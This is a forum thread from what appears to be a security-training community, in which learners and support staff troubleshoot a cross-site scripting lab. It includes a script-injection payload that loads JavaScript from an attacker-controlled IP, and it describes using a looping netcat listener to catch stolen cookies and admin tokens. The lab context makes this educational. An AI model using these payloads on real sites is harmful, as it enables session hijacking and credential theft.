Cross-Site Scripting: Ep.6 – Further Exploitation

Hey shubham

Thank you for posting, and welcome to the Human Connection! I'm Chris, I work in the Customer Support Team, and I'll be happy to help you with your attempt 😊. 

I'll be happy to share a hint to help you with your lab attempt:

In the Ask a Question page, add the following to the Message field: <script src="http://$KALI_IP/script.js" ></script>

Will you see if this helps you with your attempt? 

Hi shubham welcome to The Human Connection!

Please can you provide some detail of the steps you have already taken so that your fellow community members are able to assist you?

Hi shubham did the information above help?

If so, please don't forget to mark it as a Solution ✅

Marking a reply as a solution helps other community members to find answers to questions that they may also have. It also confirms to your fellow community members that their reply was helpful! You can accept more than one reply as a solution.

I am also having problems on this lesson. So far I haven't been able to get the site to execute any new code

I tried running the hint from below as well as the following:

<script src="http://0.0.0.0:8080/script.js"></script>

My console just converts it to a string and does not actually call into the <script>. (notice how the question field is a string).

I am sure I must be misunderstanding something, any help would be appreciated. 

Having the same issues.  Script is running, but /admin/token immediately redirects back to /dashboard.  Executed JS code in console and it returns html from /dashboard.  

Created script.js on VM.  Running netcat instance on port 8080 to handle HTTP request.   I can see the request occur in terminal.   Token not returned.  

Command being used in message field:  <script src="http://0.0.0.0:8080/script.js"></script>

Hi me5382 natelott 👋

In both of your payloads, you're using 0.0.0.0 as the IP address. This would work if the Wildcard Cycles application was running locally on the Kali Desktop. However, as this is running on a different host, you'll need to specify the Kali IP address, not 0.0.0.0.

They key is knowing that you have to use python to host the remote .js file in parallel with netcat to listen for the response of the XSS malicious scripts.  Additionally, there are two steps to expose the data. One exposes the username and token cookie (question 1&2) in the query parameters.  The other displays the token in the html body.  The example code snippets work with VERY minor modifications.  One thing I did based on feedback from a peer, was to wrap Netcat in a look to keep it active in terminal for subsequent requests.

I have done the following so far:

1. Identify the wildcard cycles employee user ID & token
2. Host the http server using the python module (port 8080)
3. Create a script.js file w/ the code provided in the Briefing section w/ the XMLHttpRequest object's open method's url parameter set to /admin/token instead of /users/data (tried setting this many different things including http://{ip of employee machine}/admin/token, /{employee id}/{token} - 
4. All the while having the nc -vnlp 5555 looping in an infinite while loop

On the terminal monitoring the http server activity, I see a GET /script.js every ~60s or so, and each time that happens, the nc listening on 5555 shows the same keepalive traffic w/ the same user ID & token information, but not the contents of the actual /admin/token page... 

I have a feeling I am missing something in item 3 listed above - something not right w/ how i have the script.js payload set up... 

Been stuck on this for way longer than I care to, any guidance would be greatly appreciated. 

Hey johndoe321 I'm pleased that CyberSharpe was able to help you here! If you found their reply useful, please don't forget to mark it as a Solution ✅

Marking a reply as a solution helps other community members to find answers to questions that they may also have. It also confirms to your fellow community members that their reply was helpful! You can accept more than one reply as a solution.